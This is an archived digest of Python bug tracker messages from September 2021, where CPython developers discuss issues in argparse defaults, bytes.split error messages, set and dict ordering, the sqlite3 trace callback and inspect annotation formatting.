_______________________________________ From report at bugs.python.org Thu Sep 2 16:32:30 2021 From: report at bugs.python.org (Yury Selivanov) Date: Thu, 02 Sep 2021 20:32:30 +0000 Subject: [issue45088] Coroutines & async generators disagree on the iteration protocol semantics Message-ID: <1630614750.42.0.345660375854.issue45088@roundup.psfhosted.org> New submission from Yury Selivanov : See this script: https://gist.github.com/1st1/eccc32991dc2798f3fa0b4050ae2461d Somehow an identity async function alters the behavior of manual iteration though the wrapped nested generator. This is a very subtle bug and I'm not even sure if this is a bug or not. Opening the issue so that I don't forget about this and debug sometime later. ---------- components: Interpreter Core messages: 400951 nosy: lukasz.langa, pablogsal, yselivanov priority: normal severity: normal stage: needs patch status: open title: Coroutines & async generators disagree on the iteration protocol semantics type: behavior versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 16:34:00 2021 From: report at bugs.python.org (Irit Katriel) Date: Thu, 02 Sep 2021 20:34:00 +0000 Subject: [issue26375] Python 2.7.10 and 3.4.4 hang on imaplib.IMAP4_SSL() In-Reply-To: <1455716357.67.0.858374272161.issue26375@psf.upfronthosting.co.za> Message-ID: <1630614840.41.0.42063418233.issue26375@roundup.psfhosted.org> Irit Katriel added the comment: Michal, is still issue still relevant? The url you mention no longer exists so I can't see if it's still reproducible: % nslookup imap.home.pl Server: 192.168.1.254 Address: 192.168.1.254#53 ** server can't find imap.home.pl: NXDOMAIN ---------- nosy: +iritkatriel status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 16:36:41 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 02 Sep 2021 20:36:41 +0000 Subject: [issue45024] Cannot extend collections ABCs with protocol In-Reply-To: <1630027789.49.0.847415585989.issue45024@roundup.psfhosted.org> Message-ID: <1630615001.25.0.561092657074.issue45024@roundup.psfhosted.org> Raymond Hettinger added the comment: The docs need to clarify which ABCs can satisfy isinstance() based solely on hasattr() logic and which ABCs require registration or direct subclassing. The docs should also explain why the more complex ABCs can't reliably be recognized based on the presence of desired method names. One of the original motivating reasons for the ABCs was that the presence of __getitem__ was insufficient for determining whether a class was intended to be a Mapping or a Sequence. Accordingly, those classes have to subclass from an ABC or register with the ABC in order to declare intent. ---------- assignee: -> docs at python components: +Documentation -Library (Lib) nosy: +docs at python, rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 16:38:02 2021 From: report at bugs.python.org (Irit Katriel) Date: Thu, 02 Sep 2021 20:38:02 +0000 Subject: [issue37694] Crash when calling zipimport.zipimporter.__new__().() In-Reply-To: <1564260723.26.0.279102723907.issue37694@roundup.psfhosted.org> Message-ID: <1630615082.24.0.224036484773.issue37694@roundup.psfhosted.org> Irit Katriel added the comment: Closing as 2.7 and 3.6 are no longer maintained, and you say the crash was gone in 3.7+. On 3.11 it indeed doesn't crash: >>> zipimport.zipimporter.__new__(zipimport.zipimporter).find_module('') :158: DeprecationWarning: zipimporter.find_module() is deprecated and slated for removal in Python 3.12; use find_spec() instead :122: DeprecationWarning: zipimporter.find_loader() is deprecated and slated for removal in Python 3.12; use find_spec() instead Traceback (most recent call last): File "", line 1, in File "", line 161, in find_module File "", line 125, in find_loader File "", line 372, in _get_module_info File "", line 359, in _get_module_path AttributeError: 'zipimporter' object has no attribute 'prefix' ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 16:42:26 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 02 Sep 2021 20:42:26 +0000 Subject: [issue45089] [sqlite3] the trace callback does not raise exceptions on error Message-ID: <1630615346.0.0.296018695296.issue45089@roundup.psfhosted.org> New submission from Erlend E. Aasland : Currently, two calls can raise exceptions in the _trace_callback() in Modules/_sqlite/connection.c: 1. PyUnicode_DecodeUTF8() can raise an exception 2. PyObject_CallOneArg() ? calling the user callback ? can raise an exception Currently, we either PyErr_Print() the traceback, or we PyErr_Clear() it. In either case; we clear the current exception. The other SQLite callbacks pass some kind of return value back to SQLite to indicate failure (which is normally then passed to _pysqlite_seterror() via sqlite3_step() or sqlite3_finalize(), but the trace callback does not pass errors back to SQLite; we're unable to detect if the trace callback fails. ---------- components: Extension Modules files: reproducer.py messages: 400955 nosy: erlendaasland priority: normal severity: normal status: open title: [sqlite3] the trace callback does not raise exceptions on error versions: Python 3.11 Added file: https://bugs.python.org/file50259/reproducer.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 16:42:48 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Thu, 02 Sep 2021 20:42:48 +0000 Subject: [issue44091] traceback & inspect modules should verify that the .py source file matches the one that the running process is using In-Reply-To: <1620580530.62.0.599288030317.issue44091@roundup.psfhosted.org> Message-ID: <1630615368.05.0.365023083164.issue44091@roundup.psfhosted.org> Gregory P. Smith added the comment: FWIW I don't remember the context that led me to just file the issue this year. The most serious frequent instances of this I remember happening were all many years ago when a less capable software distribution mechanism was in use. A scenario where I would imagine it today aside from things like what Irit mentioned with the developer workflow: People using an OS distro's Python interpreter (and even OS distro supplied Python packages instead of pip in a virtualenv) in order to run their own potentially long running code. The OS distro does not know about their running processes as they haven't created OS packages with startup/restart/shutdown and dependency relationships expressed. So the OS updating Python packages does not trigger a restart of their software after updating a dependency out from underneath it. I know this happens, but I don't know how often it actually bites anyone. And there are workarounds if deemed serious (tie in with the OS package management). I personally wouldn't prioritize work on this issue unless it fits in naturally with other work going on to plumb the information through. Or without an ability to demonstrate a compelling frequently encountered user-confusion scenario. It's a "nice to have" more than a "need". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 16:55:34 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 02 Sep 2021 20:55:34 +0000 Subject: [issue44748] argparse: a bool indicating if arg was encountered In-Reply-To: <1627377992.52.0.310829281762.issue44748@roundup.psfhosted.org> Message-ID: <1630616134.91.0.0106204926696.issue44748@roundup.psfhosted.org> Raymond Hettinger added the comment: > With a config file loaded as part of the program, > overwrite the values loaded from the config file > if the argument was encountered in the argument vector. It seems to me that default values can already be used for this purpose: from argparse import ArgumentParser config = {'w': 5, 'x': 10, 'y': False, 'z': True} missing = object() p = ArgumentParser() p.add_argument('-x', type=int, default=missing) p.add_argument('-y', action='store_true', default=missing) ns = p.parse_args() # update config for specified values for parameter, value in vars(ns).items(): if value is not missing: config[parameter] = value print(config) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 17:07:23 2021 From: report at bugs.python.org (Thermi) Date: Thu, 02 Sep 2021 21:07:23 +0000 Subject: [issue44748] argparse: a bool indicating if arg was encountered In-Reply-To: <1627377992.52.0.310829281762.issue44748@roundup.psfhosted.org> Message-ID: <1630616843.29.0.965835503843.issue44748@roundup.psfhosted.org> Thermi added the comment: Raymond, then you can't show the defaults in the help message. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 17:10:32 2021 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 02 Sep 2021 21:10:32 +0000 Subject: [issue23864] doc: issubclass without registration only works for "one-trick pony" collections ABCs. In-Reply-To: <1428145067.47.0.0726533343331.issue23864@psf.upfronthosting.co.za> Message-ID: <1630617032.29.0.275201532039.issue23864@roundup.psfhosted.org> Guido van Rossum added the comment: Maybe issue45024 is also connected? (It also seems to relate to hasattr() logic.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 17:10:57 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 02 Sep 2021 21:10:57 +0000 Subject: [issue45089] [sqlite3] the trace callback does not raise exceptions on error In-Reply-To: <1630615346.0.0.296018695296.issue45089@roundup.psfhosted.org> Message-ID: <1630617057.96.0.460281800301.issue45089@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- keywords: +patch pull_requests: +26571 stage: -> patch review pull_request: https://github.com/python/cpython/pull/28133 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 17:30:37 2021 From: report at bugs.python.org (Alex Zaslavskis) Date: Thu, 02 Sep 2021 21:30:37 +0000 Subject: [issue45087] Confusing error message when trying split bytes. In-Reply-To: <1630611464.91.0.0686347967364.issue45087@roundup.psfhosted.org> Message-ID: <1630618237.91.0.618692962336.issue45087@roundup.psfhosted.org> Alex Zaslavskis added the comment: I am not really sure that it is working as it should be. Even with your example it gives : TypeError: a bytes-like object is required, not 'str' The problem is why error message says that bytes-like is required , when the string is required. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 17:35:08 2021 From: report at bugs.python.org (Alex Zaslavskis) Date: Thu, 02 Sep 2021 21:35:08 +0000 Subject: [issue45087] Confusing error message when trying split bytes. In-Reply-To: <1630611464.91.0.0686347967364.issue45087@roundup.psfhosted.org> Message-ID: <1630618508.66.0.632003184142.issue45087@roundup.psfhosted.org> Alex Zaslavskis added the comment: ''.split(',') # works as it should be b''.split(',') # gives strange error message. TypeError: a bytes-like object is required, not 'str' The problem here is that message is saying that for fix error you should use bytes-like object that not a true. In reality the string or None is required . ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 17:40:01 2021 From: report at bugs.python.org (Alex Zaslavskis) Date: Thu, 02 Sep 2021 21:40:01 +0000 Subject: [issue45087] Confusing error message when trying split bytes. In-Reply-To: <1630611464.91.0.0686347967364.issue45087@roundup.psfhosted.org> Message-ID: <1630618801.55.0.340878388816.issue45087@roundup.psfhosted.org> Alex Zaslavskis added the comment: Moreover according Python docs : This exception may be raised by user code to indicate that an attempted operation on an object is not supported. But also the Python interpreter gives that a bytes-like object is required, not 'str' that I am already passing , so it says that all fine. But the question is why then TypeError happens . ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 18:16:28 2021 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 02 Sep 2021 22:16:28 +0000 Subject: [issue45087] Confusing error message when trying split bytes. In-Reply-To: <1630611464.91.0.0686347967364.issue45087@roundup.psfhosted.org> Message-ID: <1630620988.54.0.368996656661.issue45087@roundup.psfhosted.org> Eric V. Smith added the comment: You said: """ b''.split(',') # gives strange error message. TypeError: a bytes-like object is required, not 'str' """ It is not a strange error message. You passed in a str (the ','), and you should have passed in bytes. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 18:29:15 2021 From: report at bugs.python.org (Alex Zaslavskis) Date: Thu, 02 Sep 2021 22:29:15 +0000 Subject: [issue45087] Confusing error message when trying split bytes. In-Reply-To: <1630611464.91.0.0686347967364.issue45087@roundup.psfhosted.org> Message-ID: <1630621755.58.0.681673066576.issue45087@roundup.psfhosted.org> Alex Zaslavskis added the comment: Thanks that really works. So as I understand that b''.split() != ''.split() ---------- resolution: -> not a bug _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 18:31:31 2021 From: report at bugs.python.org (Alex Zaslavskis) Date: Thu, 02 Sep 2021 22:31:31 +0000 Subject: [issue45087] Confusing error message when trying split bytes. In-Reply-To: <1630611464.91.0.0686347967364.issue45087@roundup.psfhosted.org> Message-ID: <1630621891.52.0.674476634514.issue45087@roundup.psfhosted.org> Alex Zaslavskis added the comment: What about adding alert message for beginners that can stuck with that in docs? To warn others , is that good idea you think. Or it is redundant ? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 18:58:25 2021 From: report at bugs.python.org (Luciano Ramalho) Date: Thu, 02 Sep 2021 22:58:25 +0000 Subject: [issue45090] Add pairwise to What's New in Python 3.10; mark it as new in itertools docs Message-ID: <1630623505.93.0.223953840604.issue45090@roundup.psfhosted.org> New submission from Luciano Ramalho : Thanks for adding `itertools.pairwise()`! Let's make it easier to find by mentioning it in "What's New in Python 3.10" and also marking it as "New in Python 3.10" in the `itertools` module documentation. ---------- assignee: docs at python components: Documentation messages: 400966 nosy: docs at python, ramalho priority: normal severity: normal status: open title: Add pairwise to What's New in Python 3.10; mark it as new in itertools docs versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 19:11:57 2021 From: report at bugs.python.org (=?utf-8?q?Tin_Tvrtkovi=C4=87?=) Date: Thu, 02 Sep 2021 23:11:57 +0000 Subject: [issue44188] ThreadPoolExecutor unbalanced semaphore count In-Reply-To: <1621511496.17.0.839085647104.issue44188@roundup.psfhosted.org> Message-ID: <1630624317.9.0.85205345351.issue44188@roundup.psfhosted.org> Tin Tvrtkovi? added the comment: I was trying to instrument one of our executors to expose some metrics, so I tried using the value of the semaphore as the number of idle threads and I noticed it was way too large. If this was fixed getting these metrics would be easier. ---------- nosy: +tinchester _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 19:28:01 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 02 Sep 2021 23:28:01 +0000 Subject: [issue44748] argparse: a bool indicating if arg was encountered In-Reply-To: <1627377992.52.0.310829281762.issue44748@roundup.psfhosted.org> Message-ID: <1630625281.7.0.428883024348.issue44748@roundup.psfhosted.org> Raymond Hettinger added the comment: > then you can't show the defaults in the help message. 1) The --help option doesn't normally show defaults. 2) Why would you show defaults in help, if you're going to ignore them in favor the values in config whenever they aren't specified. If ignored or overridden, they aren't actually default values. 3) Why not dynamically configure the argparse default values with data from config? config = {'w': 5, 'x': 10, 'y': False, 'z': True} p = ArgumentParser() p.add_argument('-x', type=int, default=config['x']) p.add_argument('-y', action='store_true', default=config['y']) ns = p.parse_args(['-h']) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 19:39:52 2021 From: report at bugs.python.org (Thermi) Date: Thu, 02 Sep 2021 23:39:52 +0000 Subject: [issue44748] argparse: a bool indicating if arg was encountered In-Reply-To: <1627377992.52.0.310829281762.issue44748@roundup.psfhosted.org> Message-ID: <1630625992.8.0.628058456487.issue44748@roundup.psfhosted.org> Thermi added the comment: 1) True. That'd mean such functionality would not be usable by such a workaround though. 2) ANY setting has a default value. The output in the --help message has to, if any defaults at all are shown, be the same as the actual default values. Storing the default values as part of the argparse.ArgumentParser configuration prevents duplication of the default value declaration in the config file reader, and the argument parser. What I request is the reverse of what you wrote. I want the order of priority to fall back to the defaults, if no value is specified in the config file. And if an argument is passed via argv, then that value should take precedence over what is set in the config file. This is in the first message in this issue. 3) Two different places to touch when you want to add a new option: 1) Default config declared in program code 2) argparse.ArgumentParser configuration in code. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 19:45:07 2021 From: report at bugs.python.org (Cooper Lees) Date: Thu, 02 Sep 2021 23:45:07 +0000 Subject: [issue31528] Let ConfigParser parse systemd units In-Reply-To: <1505896809.19.0.933904793139.issue31528@psf.upfronthosting.co.za> Message-ID: <1630626307.32.0.668466268713.issue31528@roundup.psfhosted.org> Change by Cooper Lees : ---------- nosy: +cooperlees _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 20:05:24 2021 From: report at bugs.python.org (Eric V. Smith) Date: Fri, 03 Sep 2021 00:05:24 +0000 Subject: [issue45087] Confusing error message when trying split bytes. In-Reply-To: <1630611464.91.0.0686347967364.issue45087@roundup.psfhosted.org> Message-ID: <1630627524.87.0.507796321601.issue45087@roundup.psfhosted.org> Eric V. Smith added the comment: I (and many others) think the error message is fine the way it is. Also, it's hard for the error to be more specific about the method it's being called on. But if you have some concrete suggestions that can be implemented, you can add them to this issue. ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 20:20:31 2021 From: report at bugs.python.org (Andrei Kulakov) Date: Fri, 03 Sep 2021 00:20:31 +0000 Subject: [issue44980] Clean up tests that return a value that isn't None In-Reply-To: <1629655665.44.0.0754665054148.issue44980@roundup.psfhosted.org> Message-ID: <1630628431.41.0.29199414529.issue44980@roundup.psfhosted.org> Change by Andrei Kulakov : ---------- nosy: +kj resolution: -> fixed stage: patch review -> resolved status: open -> closed type: -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 20:56:47 2021 From: report at bugs.python.org (paul j3) Date: Fri, 03 Sep 2021 00:56:47 +0000 Subject: [issue44748] argparse: a bool indicating if arg was encountered In-Reply-To: <1627377992.52.0.310829281762.issue44748@roundup.psfhosted.org> Message-ID: <1630630607.34.0.70676626748.issue44748@roundup.psfhosted.org> paul j3 added the comment: Another way to play with the defaults is to use argparse.SUPPRESS. With such a default, the argument does not appear in the namespace, unless provided by the user. In [2]: p = argparse.ArgumentParser() ...: p.add_argument('--foo', default=argparse.SUPPRESS, help='foo help') ...: p.add_argument('--bar', default='default') ...: p.add_argument('--baz'); In [3]: args = p.parse_args([]) In [4]: args Out[4]: Namespace(bar='default', baz=None) Such a namespace can be used to update an existing dict (such as from a config file), changing only keys provided by user (and ones where SUPPRESS does not make sense, such as store_true and positionals). In [5]: adict = {'foo':'xxx', 'bar':'yyy', 'baz':'zzz'} In [6]: adict.update(vars(args)) In [7]: adict Out[7]: {'foo': 'xxx', 'bar': 'default', 'baz': None} User provided value: In [8]: args = p.parse_args(['--foo','foo','--baz','baz']) In [9]: args Out[9]: Namespace(bar='default', baz='baz', foo='foo') In this code sample I used Ipython. That IDE uses (or at least did some years ago) a custom integration of config and argparse. System default config file(s) set a large number of parameters. Users are encouraged to write their own profile configs (using provided templates). On starting a session, the config is loaded, and used to populate a parser, with arguments, helps and defaults. Thus values are set or reset upto 3 times - default, profile and commandline. I for example, usually start an ipython session with an alias alias inumpy3='ipython3 --pylab qt --nosep --term-title --InteractiveShellApp.pylab_import_all=False --TerminalInteractiveShell.xmode=Plain' Regarding this bug/issue, if someone can come up with a clever tweak that satisfies Thermi, is potentially useful to others, and is clearly backward compatible, great. But if this issue requires a less-than-ideal-compatible patch, or greater integration of config and argparse, then it needs to be developed as a separate project and tested on PyPi. Also search PyPi; someone may have already done the work. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 20:59:17 2021 From: report at bugs.python.org (paul j3) Date: Fri, 03 Sep 2021 00:59:17 +0000 Subject: [issue44986] Date formats in help messages of argparse In-Reply-To: <1629760940.67.0.392348377667.issue44986@roundup.psfhosted.org> Message-ID: <1630630757.78.0.966747136579.issue44986@roundup.psfhosted.org> Change by paul j3 : ---------- nosy: +paul.j3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 21:01:18 2021 From: report at bugs.python.org (paul j3) Date: Fri, 03 Sep 2021 01:01:18 +0000 Subject: [issue44587] argparse BooleanOptionalAction displays default=SUPPRESS unlike other action types In-Reply-To: <1625807257.47.0.987336531003.issue44587@roundup.psfhosted.org> Message-ID: <1630630878.08.0.496884044315.issue44587@roundup.psfhosted.org> Change by paul j3 : ---------- nosy: +paul.j3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 21:25:32 2021 From: report at bugs.python.org (Antonio Caceres) Date: Fri, 03 Sep 2021 01:25:32 +0000 Subject: [issue45091] inspect.Parameter.__str__ does not include subscripted types in annotations Message-ID: <1630632332.35.0.622998937307.issue45091@roundup.psfhosted.org> New submission from Antonio Caceres : The __str__ method of the inspect.Parameter class in the standard library's inspect module does not include subscripted types in annotations. For example, consider the function foo(a: list[int]). When I run str(inspect.signature(foo)), I would expect the returned string to be '(a: list[int])', but instead the string is '(a: list)'. (I have tested this on Python 3.9.7, but the code I believe is the problem is on the branches for versions 3.9-3.11.) >From a first glance at the source code, the problem is in the inspect.formatannotation function. If the annotation is a type, the formatannotation uses the __qualname__ attribute of the annotation instead of its __repr__ attribute. Indeed, list[int].__qualname__ == 'list' and repr(list[int]) == 'list[int]'. This problem was probably code that should have been changed, but never was, after PEP 585. The only workarounds I have found is to implement an alternative string method that accepts inspect.Signature or subclass inspect.Parameter and override the __str__ method. ---------- components: Library (Lib) messages: 400972 nosy: antonio-caceres priority: normal severity: normal status: open title: inspect.Parameter.__str__ does not include subscripted types in annotations type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 21:29:07 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 03 Sep 2021 01:29:07 +0000 Subject: [issue44748] argparse: a bool indicating if arg was encountered In-Reply-To: <1627377992.52.0.310829281762.issue44748@roundup.psfhosted.org> Message-ID: <1630632547.86.0.172695537041.issue44748@roundup.psfhosted.org> Raymond Hettinger added the comment: > I want the order of priority to fall back to the defaults, > if no value is specified in the config file. And if an argument > is passed via argv, then that value should take precedence > over what is set in the config file. from collections import ChainMap from argparse import ArgumentParser parser = ArgumentParser() missing = object() for arg in 'abcde': parser.add_argument(f'-{arg}', default=missing) system_defaults = {'a': 1, 'b': 2, 'c': 3, 'd': 4, 'e': 5} config_file = {'a': 6, 'c': 7, 'e': 8} command_line = vars(parser.parse_args('-a 8 -b 9'.split())) command_line = {k: v for k, v in command_line.items() if v is not missing} combined = ChainMap(command_line, config_file, system_defaults) print(dict(combined)) > This is in the first message in this issue. The feature request is clear. What problem you're trying to solve isn't clear. What you're looking for is likely some permutation of the above code or setting a argument default to a value in the ChainMap. I think you're ignoring that we already have ways to set default values to anything that is needed and we already have ways to tell is an argument was not encountered (but not both at the same time). [Paul J3] > So unless someone comes up with a really clever idea, > this is bigger request than it first impressions suggest. I recommend rejecting this feature request. The module is not obliged to be all things to all people. Most variations of the problem already have a solution. We should leave it at that. Extending the namespace with extra boolean arguments would just open a can of worms that would make most users worse off, likely breaking any code that expects the namespace to contain exactly what it already contains. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 23:26:08 2021 From: report at bugs.python.org (Yury Selivanov) Date: Fri, 03 Sep 2021 03:26:08 +0000 Subject: [issue45088] Coroutines & async generators disagree on the iteration protocol semantics In-Reply-To: <1630614750.42.0.345660375854.issue45088@roundup.psfhosted.org> Message-ID: <1630639568.51.0.552394579221.issue45088@roundup.psfhosted.org> Change by Yury Selivanov : ---------- nosy: +gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 00:08:56 2021 From: report at bugs.python.org (Michael Rans) Date: Fri, 03 Sep 2021 04:08:56 +0000 Subject: [issue45092] Make set ordered like dict Message-ID: <1630642136.33.0.166486792809.issue45092@roundup.psfhosted.org> New submission from Michael Rans : Now that dict is ordered, it is a bit confusing that set isn't as well. I suggest making set ordered too. ---------- messages: 400974 nosy: mcarans priority: normal severity: normal status: open title: Make set ordered like dict type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 00:13:12 2021 From: report at bugs.python.org (Michael Rans) Date: Fri, 03 Sep 2021 04:13:12 +0000 Subject: [issue45093] Add method to compare dicts accounting for order Message-ID: <1630642392.86.0.263268758429.issue45093@roundup.psfhosted.org> New submission from Michael Rans : I suggest adding a method that allows comparing dicts taking into account the order - an ordered compare (since == does not do that). (Also for my other issue (https://bugs.python.org/issue45092) where I suggested that set be ordered to reduce confusion, the set could also have an ordered compare). ---------- messages: 400975 nosy: mcarans priority: normal severity: normal status: open title: Add method to compare dicts accounting for order versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 00:14:01 2021 From: report at bugs.python.org (Michael Rans) Date: Fri, 03 Sep 2021 04:14:01 +0000 Subject: [issue45093] Add method to compare dicts accounting for order In-Reply-To: <1630642392.86.0.263268758429.issue45093@roundup.psfhosted.org> Message-ID: <1630642441.71.0.805779975446.issue45093@roundup.psfhosted.org> Change by Michael Rans : ---------- type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 00:26:15 2021 From: report at bugs.python.org (Steven D'Aprano) Date: Fri, 03 Sep 2021 04:26:15 +0000 Subject: [issue45092] Make set ordered like dict In-Reply-To: <1630642136.33.0.166486792809.issue45092@roundup.psfhosted.org> Message-ID: <1630643175.91.0.217579633926.issue45092@roundup.psfhosted.org> Steven D'Aprano added the comment: See #42368 Also this thread: https://mail.python.org/pipermail/python-dev/2019-February/156466.html ---------- nosy: +steven.daprano type: behavior -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 00:44:56 2021 From: report at bugs.python.org (Steven D'Aprano) Date: Fri, 03 Sep 2021 04:44:56 +0000 Subject: [issue45093] Add method to compare dicts accounting for order In-Reply-To: <1630642392.86.0.263268758429.issue45093@roundup.psfhosted.org> Message-ID: <1630644296.95.0.338971052049.issue45093@roundup.psfhosted.org> Steven D'Aprano added the comment: What is your use-case for having dicts that differ only in order compare unequal? I can't think of any reason why I would want such a comparison, but if I did, it's a trivial one-liner: d1 == d2 and all(k1 == k2 for k1, k2 in zip(d1, d2)) ---------- nosy: +steven.daprano type: behavior -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 01:05:48 2021 From: report at bugs.python.org (Michael Rans) Date: Fri, 03 Sep 2021 05:05:48 +0000 Subject: [issue45093] Add method to compare dicts accounting for order In-Reply-To: <1630642392.86.0.263268758429.issue45093@roundup.psfhosted.org> Message-ID: <1630645548.82.0.99172982601.issue45093@roundup.psfhosted.org> Michael Rans added the comment: My use case is in testing. Currently I use an OrderedDict, but since dict introduced ordering in 3.7, I was considering switching. For my test, I need to check that the dictionary is the same both in content and order. I can indeed use your one liner, but just thought it would be useful to have a method available. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 02:22:07 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 03 Sep 2021 06:22:07 +0000 Subject: [issue45092] Make set ordered like dict In-Reply-To: <1630642136.33.0.166486792809.issue45092@roundup.psfhosted.org> Message-ID: <1630650127.28.0.663449747342.issue45092@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> Make set ordered _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 02:27:22 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 03 Sep 2021 06:27:22 +0000 Subject: [issue45081] dataclasses that inherit from Protocol subclasses have wrong __init__ In-Reply-To: <1630530371.11.0.748962218101.issue45081@roundup.psfhosted.org> Message-ID: <1630650442.28.0.505381979742.issue45081@roundup.psfhosted.org> miss-islington added the comment: New changeset 79e9f5a58427c73dc546cb571819d50defe2e14f by Miss Islington (bot) in branch '3.10': bpo-45081: Fix __init__ method generation when inheriting from Protocol (GH-28121) https://github.com/python/cpython/commit/79e9f5a58427c73dc546cb571819d50defe2e14f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 02:28:13 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 03 Sep 2021 06:28:13 +0000 Subject: [issue45093] Add method to compare dicts accounting for order In-Reply-To: <1630642392.86.0.263268758429.issue45093@roundup.psfhosted.org> Message-ID: <1630650493.22.0.107358579615.issue45093@roundup.psfhosted.org> Serhiy Storchaka added the comment: For tests it can be more convenient to use list(d1.items()) == list(d2.items()) because it can produce better report on failure. You can add a simple helper function if you use it multiple times in tests. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 02:28:16 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Fri, 03 Sep 2021 06:28:16 +0000 Subject: [issue45081] dataclasses that inherit from Protocol subclasses have wrong __init__ In-Reply-To: <1630530371.11.0.748962218101.issue45081@roundup.psfhosted.org> Message-ID: <1630650496.26.0.913115291853.issue45081@roundup.psfhosted.org> Change by ?ukasz Langa : ---------- versions: +Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 03:13:36 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 03 Sep 2021 07:13:36 +0000 Subject: [issue37694] Crash when calling zipimport.zipimporter.__new__().() In-Reply-To: <1564260723.26.0.279102723907.issue37694@roundup.psfhosted.org> Message-ID: <1630653216.98.0.0292439365472.issue37694@roundup.psfhosted.org> Serhiy Storchaka added the comment: Because the zipimport module is now implemented in Python. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 03:15:06 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 03 Sep 2021 07:15:06 +0000 Subject: [issue45090] Add pairwise to What's New in Python 3.10; mark it as new in itertools docs In-Reply-To: <1630623505.93.0.223953840604.issue45090@roundup.psfhosted.org> Message-ID: <1630653306.17.0.617345296066.issue45090@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- nosy: +rhettinger stage: -> needs patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 03:28:10 2021 From: report at bugs.python.org (Ruben Vorderman) Date: Fri, 03 Sep 2021 07:28:10 +0000 Subject: [issue43612] zlib.compress should have a wbits argument In-Reply-To: <1616565860.52.0.251244097489.issue43612@roundup.psfhosted.org> Message-ID: <1630654090.53.0.504988601571.issue43612@roundup.psfhosted.org> Ruben Vorderman added the comment: Thanks for the review, Lukasz! It was fun to create the PR and optimize the performance for gzip.py as well. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 03:28:45 2021 From: report at bugs.python.org (Ruben Vorderman) Date: Fri, 03 Sep 2021 07:28:45 +0000 Subject: [issue43613] gzip.compress and gzip.decompress are sub-optimally implemented. In-Reply-To: <1616567239.03.0.950381696666.issue43613@roundup.psfhosted.org> Message-ID: <1630654125.55.0.112002343806.issue43613@roundup.psfhosted.org> Change by Ruben Vorderman : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker 